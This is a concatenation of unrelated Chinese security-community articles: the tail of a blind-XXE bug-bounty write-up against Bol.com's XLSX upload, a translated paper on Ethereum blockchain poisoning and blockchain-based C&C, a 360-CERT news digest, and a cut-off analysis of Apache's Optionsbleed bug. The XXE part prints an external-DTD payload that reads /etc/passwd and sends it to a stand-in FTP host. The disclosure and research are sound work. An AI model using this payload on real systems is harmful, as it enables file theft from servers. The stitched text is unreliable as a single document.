上述LFI攻击仅在我们的输入返回某处时才可行。否则我们无法读取被替换的实体。如果遇到这种情况，可以使用以下技巧来泄漏数据。
盲注XXE？通过HTTP / FTP请求外部DTD泄漏数据因此服务器会解析您的XML，但不会显示响应中的内容？
由于您可以加载外部DTD，因此您可以将自定义实体附加到此外部URL。只要URL有效，它就会加载附加了（文件）内容的URL。请注意，像`#`这样的字符会破坏网址。
**XXEserve**
一个很好的工具来捕捉我们的XXE请求是XXEserv，通过创建staaldraad。它是一个简单的FTP/HTTP服务器，显示对我们服务器的所有请求。
它还伪造了一个FTP服务器; 由于字符串中的字符，HTTP有时会失败，FTP才有效。
**快速入门**
> 1. 在面向公众的服务器上安装
>
> XXEserv
>
> 2. 创建一个包含要泄漏的文件或（内部）URL的外部DTD文件（即sp2.dtd）。将xxxx替换为服务器的IP地址或主机名：
>
> 3. 将此外部DTD文件放在XXEserv目录中。XXEserv充当公共ftp和Web服务器; 所以我们现在能够链接这个文件。
>
> 4. 将XML有效负载发送给受害者，包括我们的外部DTD：
>
>
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
> 1. 观察XXEserv的输出
>
**另一个报告的XXEserv输出示例。在这里，我们通过FTP加载外部DTD从本地元服务器泄漏RSA公钥。**
看看这些页面，如果你想看到XXE payload的不同变化，得到启发！有一个很好的变化缺失？
### 探索Bol.com
我们需要找到一种方法将我们的XML代码上传或注入Bol.com。首先：是仔细查看他们的“卖家门户”。大多数情况下，卖家能够上传与其产品相关的图像或其他文件。
**Bol.com卖家门户网站**
网站的这一部分允许用户上传准备好（重新）销售的产品。
快速课程荷兰语：
'Aanbod beheren via excel'意思是'管理Excel中的库存'。
**批量上传界面**
此界面有三个步骤：
1. 下载包含当前库存的Excel文件
2. 上传更改的Excel文件
3. 查看上传结果
**Excel文件清单**
Excel文件的扩展名为XLSX。这是Microsoft开发的一种开放文件格式 ; 后面，它是一个包含多个XML文件的zip文件。
**从卖方门户下载的Excel文件示例**
让我们解压缩XLSX。
**XLSX解压缩**
**其中一个XML文件包含工作表1的数据**
如果我们打开，sheet1.xml我们将看到以下代码。
假设我们想尝试将文件内容注入`/etc/passwd`到Offer描述中（这是单元格G4，请参阅原始Excel工作表）。
**选择单元格G4**
正如我们在图像中看到的那样，字符串'`Sample description`'由id
108引用。让我们将自定义实体添加到此工作表中，并将此单元格值替换为我们的自定义实体。
**注入我们的自定义实体**
我们保存文件，再次压缩文件夹并将文件重命名为xlsx。
**压缩文件并将扩展名更改为.xlsx**
让我们看看如果我们在步骤2中上传文件，让它加载，并从步骤1再次下载文件会发生什么。如果XXE攻击有效，它将更新我们的示例产品
（Excel中的第4行）并将文件内容/etc/passwd注入优惠此产品的描述。
#### 概念证明
它有效，是时候撰写报告并告知Bol.com我们的调查结果！
下一步是检查服务器是否是支持云元数据的某个云托管提供商的一部分，检查包含API密钥的配置文件，并查看是否可以从LFI升级到RCE。
然而，影响已经很高，所以我认为立即通知Bol.com是明智的。我问他们是否要我检查升级到RCE。但在他们回答问题之前，错误已经修复:-)
**1：目录列表**
如果我们尝试解析目录而不是文件（即`<!ENTITY body SYSTEM
"file:///etc/">`），Bol.com使用的XML解析器将返回文件名
（作为一个大字符串）。这使我们能够快速枚举服务器上的所有文件，不需要蛮力的文件名。
**2：图片上传？检查XXE！**
可以在大量文件中注入XXE有效负载。因此，每次上传图片都是潜在的XXE漏洞。Buffalo会创建一个很棒的工具，允许您轻松地将XXE payload
嵌入到所有这些不同的文件中。
#### 结束语
通过编辑XML文件，我们能够在上传中将本地服务器文件的内容作为字符串包含在内。之后我们能够下载此文档，因此我们能够从其中一个生产服务器读取私有文件。
#### 解决方案
最佳解决方案是禁用XML解析器中的任何DTD支持。OWASP 对不同的解析器及其配置有一个很好的概述。
#### 危害
* 本地文件包含
* 可能执行本地拒绝服务攻击(未确认)
* 可能的RCE（未确认）
* 可能的SSRF（未确认）
#### 时间线
> 1. 02-09-18发现错误，告知Bol.com
> 2. 03-09-18 Bol.com确认错误
> 3. 04-09-18 Bol.com部署修复，
> 4. 奖励€500 Bol.com凭证
> 5. 08-09-18写于这个博客，通知Bol.com
> 6. 11-09-18发布此博客
> | 社区文章 |
# 以太坊区块链中投毒攻击的威胁分析
|
##### 译文声明
本文是翻译文章，文章原作者 Teppei Sato, Mitsuyoshi Imamura, Kazumasa Omote
原文地址：<https://www.researchgate.net/publication/339623865_Threat_Analysis_of_Poisoning_Attack_Against_Ethereum_Blockchain>
译文仅供参考，具体内容表达以及含义原文为准。
近年来，区块链技术在应用于加密资产（cryptocurrency）方面已取得了显着发展，考虑了智能合约的扩展和匿名性的提高。以太坊是一个具有智能合约功能的区块链，在区块链上有一个数据空间可以自由存储程序。但是，这种数据空间的污染会危害以太坊。
在这项研究中分析了以太坊数据空间中存储的恶意文件，并讨论了以相对较低的成本嵌入恶意数据而严重污染区块链的区块链投毒攻击(blockchain
poisoning attack)。
## 0x01 Introduction
区块链是一种分布式账本，尽管该技术被称为加密资产（cryptocurrency）的基本技术，但它不仅充当存储价值的功能，而且还扩展到工业领域。该技术具有一些优势。它提供一定程度的匿名性，确保网络不关闭，并且对网络上的数据具有抗操作性。但是，区块链技术面临某些安全问题和挑战，例如大多数攻击（51％攻击）、双花和加密劫持，以及如下图的投毒攻击。
通过将恶意或非法文件嵌入到区块链的数据空间中，可以攻击区块链[。将这种类型的攻击定义为投毒攻击。此类攻击被认为比针对公共数据库的传统投毒攻击（例如DNS缓存中毒）更具恶意性，因为由于区块链的功能（无法在区块链中进行交易）而没有硬分叉来修复中毒的区块链，被修改或取消是不可行的。此外，由于区块链中包含的数据由每个节点同步，因此攻击者可以通过将节点嵌入到区块链中来迫使节点下载任何恶意文件。
智能合约最早由Szabo提出，它是一种计算机协议，旨在在没有任何可信任第三方的情况下以数字方式促进、验证或强制进行交易的谈判。以太坊被公认为是智能合约的一种实现，该合约是完整的。
与比特币区块链不同，以太坊拥有一个合法且灵活的空间，其中包含智能合约的字节码。任何人都可以正式将任何数据嵌入以太坊区块链。不幸的是，这表明此功能还为攻击者提供了灵活性。因此，针对以太坊（以及具有灵活空间的区块链）的投毒更加容易。
## 0x02 Background
### 1）以太坊
以太坊是一个运行智能合约的去中心化平台：以完全编程的方式运行的应用程序，不会出现停机、审查、欺诈或第三方干扰的可能性。
**两种类型的帐户：** 以太坊有两种类型的账户，外部账户（EOA）和合约账户。
EOA用于将以太币发送到另一个帐户，签订合约并执行合约，它由私钥控制。相反，合约代表以太坊本身的智能合约账户。换句话说，EOA将交易发送到合约帐户以执行合约。
**以太坊上的智能合约和灵活空间：**
以太坊上的智能合约以字节码（称为EVM代码）编写，并在名为以太坊虚拟机（EVM）的虚拟机上执行，该虚拟机在以太坊网络中的一个节点上运行。以太坊交易具有用于智能合约的空间：初始化和数据区域。初始化区域包含EVM代码，用于部署智能合约。相反，数据区域用于调用合约的功能并为该功能提供参数。无论智能合约如何，都可以自由使用该区域。
因为初始化和数据区域都是无限字节的数组），所以数据大小没有理论上限。但是，由于交易费不能超过矿工投票确定的块费限制，因此数据大小有实际的上限。另外，作为以太坊的官方Go实现的Go
Ethereum还有另一个限制。带有注释“Heuristic limit, reject transactions over 32 KB to
prevent DOS attacks”，在应用程序中添加了一个过滤器，以拒绝其init/data区域中包含超过32
kB数据的事务。从v1.6.6版本开始已添加此限制。
根据ethernodes.org（其中包含有关以太坊网络中节点的信息）的说法，Go
Ethereum在以太坊网络中所有节点的大约50％上运行。其他以太坊客户端应用程序中的数据大小没有限制。
**METAMASK：**
这是一个以太坊钱包，实现为网络浏览器的扩展：Chrome，Firefox和Opera。它不仅支持连接以太坊主网而且还支持专用网，并支持传输ERC20令牌
资源管理器。这是一个Web服务，可通过Web浏览器提供有关区块链的信息，而无需特殊软件或运行区块链节点。服务对于区块链的透明性至关重要。
Etherscan是以太坊的知名探测器。它提供与以太坊区块链相关的信息，例如合约的源代码，初始和数据区域中的数据，区块哈希和交易哈希。
### 2）如何在以太坊上使用智能合约
可以通过以下两个步骤在以太坊上使用智能合约:
部署合约：使用高级编程语言定义合约。
Solidity6是定义以太坊合约的一种著名语言，它看起来像JavaScript。合约被编译为字节代码，称为EVM代码。
接下来，将EVM代码部署在以太坊网络上以使用该合约。在没有集成开发环境（IDE）的情况下，编译器将输入的EVM代码作为输出返回给新事务的init，该事务的接收者地址设置为null。此时，尚未生成与合约关联的合约帐户。使用以太坊钱包发送交易后，交易在网络中广播，以太坊网络中的矿工将交易放入新区块中以生成下一个区块。在挖掘过程中，将生成合约帐户。
执行合约：要执行合约，必须进行交易。输入字节数组以指定要调用的函数，并将该函数的参数提供给数据区以进行新事务。
然后将交易从EOA发送到合约帐户。在挖掘过程中，合约执行的结果反映在区块链中。此外，为了发送包含EVM代码的交易，某些以太坊钱包应用程序具有接收十六进制字符串中的数据并将其写入交易的功能。
## 0x03 Blockchain Poisoning Attack
区块链投毒攻击是通过将恶意或非法文件嵌入到区块链的灵活空间中来对区块链的攻击。攻击者可以强迫区块链网络中的节点下载文件，这导致针对区块链的DoS攻击。攻击目标可以是区块链及其用户。攻击者按以下方式进行攻击：
1.攻击者准备了恶意或非法文件；
2.攻击者将文件嵌入到灵活的交易空间中，并在区块链网络中广播交易；
3.恶意文件通过挖掘过程嵌入到区块链中，然后在网络参与者之间共享；
用于区块链中毒攻击的文件可以是隐私信息，恶意软件和任何非法内容。攻击成功原因如下：
–区块链在区块链P2P网络的参与者之间共享；
–包含在区块链中的交易很难被修改或取消。
在区块链系统中，每个完整节点都需要存储由P2P网络同步的块数据。这意味着攻击者通过将节点嵌入到区块链中来迫使节点下载和存储恶意或非法文件。当然，未存储完整区块链数据的节点（例如网络中的SPV节点）不会像完整节点那样受到直接攻击。但是，由于区块链网络主要由完整节点支持，因此攻击会间接影响区块链的所有用户。
不变性是区块链的重要特征之一。由于此功能，包含在区块链中的交易很难被修改或取消。因此，针对公共数据库，区块链投毒攻击被认为比常规的投中毒攻击（例如DNS缓存投毒）更具持久性，因为不使用硬分叉来修复投毒的区块链是不可行的。相反，一旦支付了交易费，就很容易发送带有恶意数据的交易。这意味着区块链受到攻击的严重破坏，而攻击者可以在低难度下进行攻击。
## 0x04 Application of Blockchain Poisoning
使用区块链进行C＆C：在区块链系统中，每个节点都需要存储由P2P网络同步的块数据。任何人都可以通过连接到网络来访问区块链数据。这些功能可用于C＆C。
A在这种技术中，僵尸程序是通过修改比特币节点软件（免费提供）来实现的，并且僵尸程序连接到比特币P2P网络并将该网络用于C＆C。恶意软件通过区块链从Bot
Master获取命令的方法：
–从受害者节点上的区块链获取命令；
–访问资源管理器网站以获取命令。
仅当受害者服务器作为区块链网络的节点运行时，才能使用第一个。因为每个节点都同步了区块链，并且区块链数据存储在其自身上，所以恶意软件可以通过读取存储在服务器上的数据（由bot
master嵌入到区块链中）轻松访问命令。使用此技术，恶意软件可以将其C＆C通信隐藏在区块链网络的P2P通信中。例如，恶意软件针对加密资产的节点窃取其私钥，然后可以在不与Bot
Master和C＆C服务器直接通信的情况下获取命令。
在第二种方法中，恶意软件访问资源管理器网站以接收命令。由于大多数公司都允许HTTP /
HTTPS协议并且HTTPS通信的内容被加密，因此很难检测和阻止这种攻击技术。
**区块链的算力下降/加密资产的价格操纵：**
在执行区块链投毒后，发布诸如“区块链包含非法文件！”之类的信息。会对使用区块链的用户产生负面印象，他们可能会离开系统。这是针对区块链的DoS攻击，因为网络的算力对于区块链系统的安全性非常重要。
如果加密资产遇到上述攻击，则其价格可能会下降。因此，攻击者可以降低价格，并从攻击前后的价格差中受益。
## 0x05 Evaluation of Flexible Space
调查了以太坊主网络上的可编程空间（块高度从0到6,988,614）（2015年7月30日至2018年12月31日UTC）。
### 1）方法
使用file
carving方法检测到交易嵌入文件。此方法用于从存储的未分配空间中恢复文件，例如，在数字取证中。它可以通过诸如搜索文件头和使用文件结构的技术来识别嵌入未知二进制数据中的文件[。在此评估中使用了Foremost，因为它在通用和开源程序中使用。调查程序如下：
1.将从事务中提取的数据从字节数组转换为二进制文件，然后保存该文件；
2.将二进制文件输入file carving工具；
3.如果该工具检测到二进制文件中的某些文件，请记录交易信息
本研究使用了18种文件类型进行检测：jpg，gif，png，bmp，avi，exe，mpg，wav，riff，wmv，mov，pdf，ole，doc，zip，rar，html和cpp。在此评估中，没有涵盖分别分割并嵌入到区块链中并以某种方式编码的文件。攻击者需要一定的负担（例如，文件，gas等的管理）才能通过划分或编码来隐藏嵌入式文件或区块链上的数据。
### 2)事务中嵌入的文件
对从交易中提取的数据的调查表明，在以太坊区块链中嵌入了154个文件。上图显示了提取文件的文件类型。从图可以明显看出，大约80％的提取文件是图像文件（jpg，png和gif）。大多数图像内容没有问题，因为它们是集体照和风景。但是，某些图片包含不良内容。此外，乍看之下是正常的图片可能是恶意的，因为它们可能侵犯他人的隐私，并被隐写术所滥用。在以太坊区块链中发现了三个exe文件。这三个exe文件的MD5哈希如下所示；
（1）c9a31ea148232b201fe7cb7db5c75f5e
（2）c1e5dae72a51a7b7219346c4a360d867
（3）c9a31ea148232b201fe7cb7db5c75f5e
这两个文件显然是相同的。将这些哈希值输入VirusTotal来评估文件，并得出结论认为这三个exe文件是恶意软件，因为文件(1)和文件(3)的分析结果表明，它们被反病毒软件的检测率为56/70，并且文件(2)的结果表明其检测率为58/66。根据报告，一种名为W32.Duqu的恶意软件具有与文件(1)和文件(3)相同的哈希值。
此外，发现这三个exe文件是由一个帐户嵌入的，该帐户在大约6分钟内发送了三个嵌入文件的交易。下图显示了嵌入文件的事务的时间序列直方图。
演示了交易嵌入式文件的发送者和接收者之间的关系。发件人帐户数量为113，而文件嵌入式交易数量为154。这表明某些帐户多次将文件嵌入以太坊区块链。一个帐户发送的文件嵌入交易的最大数量为10。
上表列出了发件人帐户和收件人帐户之间的关系数量。关系分为三种：（a）发送者和接收者相同，（b）发送者和接收者不同，（c）接收者为空（即合约创建交易）。大多数具有文件嵌入式事务的帐户会将事务发送给除null以外的任何收件人。一些帐户将文件嵌入合约创建交易中。
## 0x06 Feasibility Experiment of Poisoning Attack
确定攻击的可行性对于评估攻击风险很重要，构建了一个模拟以太坊区块链实际环境的实验环境，以评估投毒攻击的可能性。在环境中，尝试将文件嵌入到私有的以太坊区块链中，并使用网络浏览器从资源管理器中提取相同的文件。提取并嵌入了文件，以使用网络浏览器和shell命令验证区块链中毒作为C＆C基础设施的可用性，这表明攻击容易。
### 1）实验环境
实验环境是使用两个服务器（服务器A和服务器B）和一台笔记本电脑构建的，如上图所示。实验环境的组件如下：
服务器A（以太坊专用网）： Go Ethereum安装在此服务器上，该服务器配置为挖掘私有区块链。该服务器在实际环境中扮演以太坊主网的角色。
服务器B（资源管理器）：在此服务器上设置了一个Web服务器，以使用EthExplorer在服务器A上显示有关以太坊私有区块链的信息。该Web服务器在实际环境中扮演Etherscan等区块链浏览器的角色。
笔记本电脑：使用MacBook Pro执行shell命令，并使用Google
Chrome（已安装METAMASK）进行实验。这些使嵌入和提取文件的过程与对以太坊主网进行中毒攻击的过程相同。
### 2）实验
分三个步骤（准备，嵌入文件和提取文件）说明实验过程。由于以太坊拒绝包含32 kB以上数据的交易，因此使用32 kB以下的图像文件嵌入到私有区块链中。
**准备步骤** ，这是服务器A上的设置：
1.开始在服务器A上进行挖掘；
2.将METAMASK连接到服务器A上的以太坊专用网络；
3.在METAMASK上创建一个帐户，然后将Ether从服务器A上的Coinbase帐户发送到该帐户；
4.在METAMASK的设置中，打开“ Show Hex Data”开关。
**嵌入文件** ，描述了将文件嵌入到区块链中的过程：
1.要获取文件（例如pic.jpg）的十六进制转储，执行以下命令并将结果复制到剪贴板；
xxd -p pic.png | perl -pe ’s/ n//g’
2.单击METAMASK上的“SEND”；
3.选择任何帐户发送交易，并将文件的十六进制转储粘贴到“Hex Data”字段中；
4.单击“NEXT”和“CONFIRM”发送交易；
5.区块链收到交易后，可以确认区块链在服务器B的Web应用程序中包含hexdump。
**提取文件** ，下面给出了从区块链中提取文件的过程。应当注意，提取文件的名称为“ pic extract.png”：
1.复制服务器B的Web应用程序上显示的十六进制字符串;
2.用十六进制字符串上的以下命令替换<hex>并执行它。
echo <hex> | xxd -p -r > pic extracted.png
## 0x07 Discussion
### 1）可疑帐户的行为
单个帐户可以将三个exe文件（由Virus
Total判定为恶意软件）嵌入以太坊区块链，启发式分析可以检测分析可疑行为的恶意软件。考虑到可以针对区块链中毒实施启发式分析的可能性，观察了可疑账户的行为。在评估中发现，可疑帐户总共发送和接收了十笔交易。这些交易如下。假设“帐户X”表示可疑帐户，帐户A，B和C表示普通帐户。
这一系列交易表明攻击者试图检查恶意文件是否可以嵌入到区块链中。这种尝试可以解释如下：
首先，这个可疑帐户收到了一些以太币（1），用于发送交易并将数据嵌入交易中。为了检查可嵌入到区块链中的数据大小，该帐户发送了两个大小不同的交易（3）（4）。接下来，该帐户发送了一个交易嵌入式PNG文件，以检查它是否可以嵌入到区块链中（5）。然后，该帐户发送了包含恶意软件二进制文件的三个事务，以检查是否可以将恶意文件嵌入到区块链中（6）（7）（8）。
通过一个帐户发现了可疑行为。但是，恶意软件与此类可疑帐户之间存在明显的区别。恶意软件会采取一系列措施。相比之下，攻击者还可以在区块链上创建无限账户（例如地址）。尽管在这种情况下，单个帐户发送了交易，但是它们可以被多个帐户划分和发送。因此，由于区块链上恶意软件和账户之间的差异，对每个账户进行启发式分析是无效的，应通过观察每个交易而不是账户来采取针对区块链投毒的对策。
### 7.2区块链灵活空间的风险
考虑到对可编程空间的评估以及投毒攻击的实验，讨论了以太坊区块链的灵活空间带来的风险，以下是增加风险的原因。
嵌入数据的功能已正式提供：除了OP
RETURN和Coinbase交易外，禁止将任意数据嵌入比特币区块链的技术被正式允许。因此，当将任何没有灵活空间的数据嵌入到区块链中时，有必要使用“编码比特币脚本”之类的方法，因为此类区块链的通用钱包没有嵌入功能。
但是，对于具有灵活空间的区块链（包括以太坊），正式提供了一些将数据写入空间的功能。攻击者可以使用钱包应用程序（良性用户也可以使用它们）通过相同的过程执行投毒攻击。因此，区块链中的灵活空间可促进投攻击。
存在Explorer：每个区块链中都有一个名为Explorer的网站，提供与区块链相关的信息。这些网站的内容根据每个区块链的结构和功能而有所不同。如果区块链具有灵活的空间，则可以以任意形式（例如ascii和十六进制）轻松获取嵌入式数据。
可以使用Web浏览器通过Explorer将数据嵌入到区块链中，这意味着可以通过HTTP / HTTPS获得嵌入的数据，许多公司都允许使用HTTP /
HTTPS进行通信。对于使用C＆C的攻击者来说，具有灵活空间的区块链是一个优势。过去已经报道了使用博客和社交媒体的恶意软件和使用GitHub进行C＆C的恶意软件。使用Explorer的技术可以轻松地在此类恶意软件上实施。
对于攻击者而言，重要的是不要参与将数据从区块链迁移到Explorer网站的过程。当浏览器收到数据时，它们会独立访问Explorer网站。这意味着使用区块链Explorer的C＆C技术对于攻击是有效的，因为很难将僵尸程序链接到攻击者。
3）在合约中包装任意二进制文件的可能性
由于灵活性，不利的数据可以嵌入到区块链中。因此，作为解决区块链网络中不利交易的简单对策，可以降低用于嵌入数据的空间的灵活性。在本文中找到的大多数文件以hexdump形式嵌入，在以太坊中，可以通过仅将有效数据作为EVM代码来拒绝在其初始区域中具有文件十六进制转储的事务。
但是，即使代码是嵌入式hexdump，也可以将其成功编译为EVM代码，如上所示的Solidity源代码。这意味着可以制作一个有效的EVM代码，其中包含文件的任意十六进制转储。因此，很难采取措施将恶意数据嵌入到区块链中。
4）防止区块链投毒的对策
作为针对内容插入的对策之一，提出了强制性的最低收费以惩罚大笔交易。当然，经济成本是有效的，因为除了某些特定情况（例如降低算力）外，工作证明从未被打破。然而，由于缺乏数据的大小和恶意性之间的相关性，所提出的方法具有缺点。
以下可以被视为针对区块链投毒攻击的一种临时对策。该对策采用与其他合约相似性决定的强制性最低费用。费用是根据过去部署在区块链上的所有合约计算得出的，如果没有类似合约，费用会更大。随着类似合约数量的增加，最低费用会减少。
在这种机制中，发送交易的成本取决于类似合约的数量，而不是交易的大小。由于在区块链中此类恶意交易的数量很少，因此攻击者可能被迫支付高额费用。
先前的研究表明由于某些原因（例如重用合约的源代码），实际使用了类似的合约。在区块链网络中，区块的内容由网络参与者之间的共识确定。但是，如果文件是良性或恶意的，通常很难达成共识。
## 0x08 Conclution
为了评估区块链投毒攻击的风险，分析了以太坊区块链以检查实际情况，并使用实验性区块链环境验证了攻击的难易程度。
确认在以太坊区块链上嵌入了154个文件，其中包括一些恶意文件。此外，证明了使用Web浏览器和Shell命令可以轻松执行区块链投毒。指出了使用以太坊区块链进行C＆C技术的可能性，该方法可以轻松地应用于现有的恶意软件，因为它们使用HTTP
/ HTTPS协议从botmaster接收命令。 | 社区文章 |
# 4月18日安全热点 - 黑客通过窃取的数据获利的8种方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简讯 2018.04.18 周三
## 【Security Information|安全资讯】
1.RSAC 2018权威解读|创新沙盒决赛产品戳中了谁的痛点？
<http://t.cn/Rm3xoGq>
2.Oracle 2018年4月重要补丁更新
<http://t.cn/Rm3JRW3>
3.OWASP TOP 10：XXE漏洞简介
<http://t.cn/Rmm34pQ>
4.英国NCSC, DHS 和 FBI 对俄罗斯的黑客活动提出警告
<http://t.cn/RmmFFbZ>
5.云基础设施容易受到攻击
<http://t.cn/RmmFFGb>
6.Intel允许反病毒引擎使用GPU进行恶意软件扫描
<http://t.cn/Rmuhm2h>
7.英国实施新安全分类法案：定义六级安全事件
<http://t.cn/RmuFbTA>
8.黑客通过窃取的数据获利的8种方式
<http://t.cn/RmuJ5qV>
9.趋势科技关于RSA 2018会议的一些议题跟进
<http://t.cn/Rm3qqGK>
10.Microsoft发布管理工具来模拟网络攻击
<http://t.cn/Rmnyw8Q>
## 【Vulnerability|漏洞】
1.Weblogic 反序列化远程代码执行漏洞 (CVE-2018-2628)
<http://t.cn/Rm3xoci>
2.SecureRandom()类中存在多个漏洞，影响众多加密货币产品
<http://t.cn/RmYakIe>
3.Chrome 插件Strong Password Generator生成的密码部分字符出现概率过大
<http://t.cn/RmmFFtm>
4.Drupalgeddon2 RCE exp (Metasploit)
<http://t.cn/RmuFbQB>
5.Foscam IP 摄像头固件存在身份验证漏洞，可替换固件
<http://t.cn/RmmFFqN>
## 【Security Tools|安全工具】
1.GPG Reaper：一款可以从Gpg-Agent 缓存/内存中窃取或恢复GPG 私钥的工具
[ http://t.cn/Rmm34lw](http://t.cn/Rmm34lw)
2.Polymorph：一种实时网络数据包的操作框架
[ http://t.cn/Rm3vDWr](http://t.cn/Rm3vDWr)
## 【Security Research|安全研究】
1.如何执行放进Alternate数据流中的数据（Part 2）
[ http://t.cn/RmSiEzC](http://t.cn/RmSiEzC)
2.IoT设备中存在的OWASP TOP-10漏洞
[ http://t.cn/RmSzH5c](http://t.cn/RmSzH5c)
3.通过逆向Soundcloud API 绕过其下载限制
[ http://t.cn/RmEVToQ](http://t.cn/RmEVToQ)
4.逆向工程-Part1（基本编程概念）
[ http://t.cn/Rm3vDjt](http://t.cn/Rm3vDjt)
5.WMIC.EXE白名单绕过，使用样式表进行攻击
[ http://t.cn/Rm37HvP](http://t.cn/Rm37HvP)
## 【Malware|恶意软件】
1.巴西黑客组织通过恶意软件感染物联网设备，来构建僵尸网络
[ http://t.cn/Rmm34RZ](http://t.cn/Rmm34RZ)
2\. Magnitude利用工具包被用于GandCrab勒索软件
[ http://t.cn/RmuhmUy](http://t.cn/RmuhmUy)
3.超过2000万的Chrome用户安装了假的恶意广告拦截器
[ http://t.cn/Rmuhm4h](http://t.cn/Rmuhm4h)
4.Early Bird代码注入可绕过杀毒软件检测
[ http://t.cn/RmuFbnv](http://t.cn/RmuFbnv)
5.海莲花APT团伙利用CVE-2017-8570漏洞的新样本及关联分析
[ http://t.cn/RmRFzxk](http://t.cn/RmRFzxk)
6.勒索软件XIAOBA被重新利用于恶意挖矿
<http://t.cn/RmuiqsV>
## 【Security Report|安全报告】
1.最近有关密码学的一些paper更新
[ http://t.cn/Rm3vD0Z](http://t.cn/Rm3vD0Z)
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
作者：启明星辰ADLab
#### 背景：
国庆前，一位国外安全研究员在 The Fuzzing Project 网站上写了一篇 blog，文章描述了他发现的一个 Apache
信息泄漏漏洞（CVE-2017-9798），并给该漏洞起名“Optionsbleed”，意为发生在Options请求中的出血漏洞。尽管使用了“bleed”这个名字，但是作者也在文章中坦言，该漏洞的影响确实无法与心脏出血“Heartbleed”（CVE-2014-0160）漏洞媲美。首先，这个漏洞影响的目标并不像心脏出血那么多，其次该漏洞只能泄漏很少（甚至什么都泄漏不出来）内存。
漏洞作者仅仅给出了 ASAN 的分析截图和漏洞复现方法，并未纰漏更多细节，本文启明星辰ADLab安全研究员将对此漏洞进行详细深入地分析。
#### 漏洞复现：
根据 blog 的描写，想要触发漏洞，需要在服务器目录下添加一个`.htaccess`文件（这是一个配置文件），并且需要在该文件中添加一个没有被全局注册过的
Limit 指令。为此，ADLab研究员下载编译了存在漏洞的 Apache
版本2.4.27，修改了漏洞作者提供的poc并测试发包，在配置没有问题的服务器上结果是这样的。
接着在Apache服务器子目录下创建`.htaccess`文件，并在文件中写入如下内容：
<Limit abcxyz>
</Limit>
证明漏洞存在（如下图“OPTIONS”后面多出来的“，”）。
#### 漏洞分析：
事实上，通过漏洞作者提供的 poc 向 Apache 发消息后，Apache服务器一共处理了两次连接请求（之所以产生两次连接，涉及到 uri
重定向等一系列问题，细节和本漏洞无关所以不再赘述，感兴趣的可以参考`mod_dir.c`及相关文件了解详情）。 每次处理连接请求时 Apache
都会为当前的连接分配一个 request 结构体，该结构体比较复杂，包括了各种连接相关的信息，这里我们只关心它的第一个变量 pool，即 request
的内存池。
Apache
服务器自行维护一套内存管理机制，这套内存管理机制最大的特点就是简单，它并不是按照大小将空闲的内存块连接到不同的链表上以期提高内存管理效率、减少内存碎片并节约内存，甚至不会频繁地释放无用内存。相反，Apache
会把下一块可用内存指针指向空闲内存的起始地址，不管需要分配多大的内存，都从空闲内存的起始地址开始分配，并将这个空闲地址的指针后移。相应的，当分配的内存不再被需要的时候，也不会主动的释放这块内存方便重复利用，而是选择在网络连接的收尾阶段将整块`request_rec`的
pool 释放掉。
Apache
这么做可能主要基于服务器对每个网络连接处理的时间并不长，每个网络连接需要的内存池并不算太大这两个原因。所以，采用这种方式来管理内存不仅不会造成对内存的浪费反而提高了服务器的响应效率。
###### 第一次连接：
当服务器处理第一次连接的时候，Apache 为 request 分配的内存池地址为 0xaa102488。
Apache 根据请求的地址遍历其目录，当遍历到被请求目录时发现该目录下有`.htaccess`文件，就会打开该文件读取并处理文件内容，当读到`<Limit
abcxyz>`这一行时，服务器会从request地址池里分配一块内存用于存放 abcxyz 字符串。
然后，流程进入`ap_method_register`函数。
这个函数是非常重要的函数，我们来看一下其实现：
该函数中的`methods_registry`是一个`apr_hash_t`类型的结构体指针，这是一个用于描述服务器中注册方法的结构体，用 hash
表的方式来保存和查找注册的方法。实现如下：
其中，array是hash表数组，数组中的每一项都指向一个由若干个 hash 节点串联起来的单向链表。每个节点的数据结构如下：
从代码上看，服务器首先会调用`apr_hash_get`来查找是否该方法（即 Limit
指令指定的方法）已经被注册，之前我们已经说过触发漏洞需要添加一个没有被全局注册过的 Limit 指令（本例中是
abcxyz），所以该查找一定会失败。而`register_one_method`函数一定会被执行，这个函数主要是对`apr_hash_set`的封装，所以重点看一下`apr_hash_set`函数以及其子函数`find_entry`。
`apr_hash_set`函数功能是对 hash 表进行增删改操作，而函数的最后一个参数 val 就是用来确定到底要对 hash 表进行哪种操作的。如果
val 为0就对找到的hash节点进行删除操作，不为0就对 hash 表进行插入或者重新赋值操作，具体来说就是当这个 hash
节点不存在的时候就插入一个新的节点，否则对 val 重新赋值。`find_entry`的解释请参见我们在代码中添加的注释。
在 hash 插入之前内存如下，我们看到在 array[3]中只有两个 hash 节点。
当节点被插入后内存如下，我们看到 hash 表中多了一个节点，这个节点就是我们在`.htaccess`中定义的 Limit 指令 abcxyz。
当 Apache 将回应包通过 socket 发出后，request 地址池将会被释放（`methods_registry`中 abcxyz 的 key 和
val 的地址也在这块内存池中）。但是，通过对图中内存的观察，我们发现`methods_registry`中对 abcxyz 的引用还在。（Apache
的内存管理在释放内存之后并不会将内存中的数据覆盖，所以这时候我们在调试器里还能看到原有的数据）。
至此，第一次连接的主要流程已经走完，留下了一个对已经释放的地址有引用的 hash 节点。
###### 第二次连接：
第二次连接首先分配内存池。
继续往下进行，当服务器对配置文件中的新配置项进行添加的时候会执行如下指令，从 request 内存池里分配一块内存，该内存起始地址是 0xaa107718
大小为152字节，并通过 memcpy 函数对这块内存进行内存拷贝工作，拷贝之后 0xaa107758 和 0xaa107760（分别保存着释放前 hash
节点的 key 和 val，见第一次连接中 request 地址池释放图片中的蓝色方框）两处的内容都被覆盖成了0。
当服务器再次进行到注册的时候，由于 hash 节点 0x811b5d0 处的 key 和 val 都已经被拷贝成了新的数据，所以注册函数认为 abcxyz
的节点不存在，于是重新分配了一个节点。原来的节点就成了一个指向了空字符串且 val 为 0 的节点。
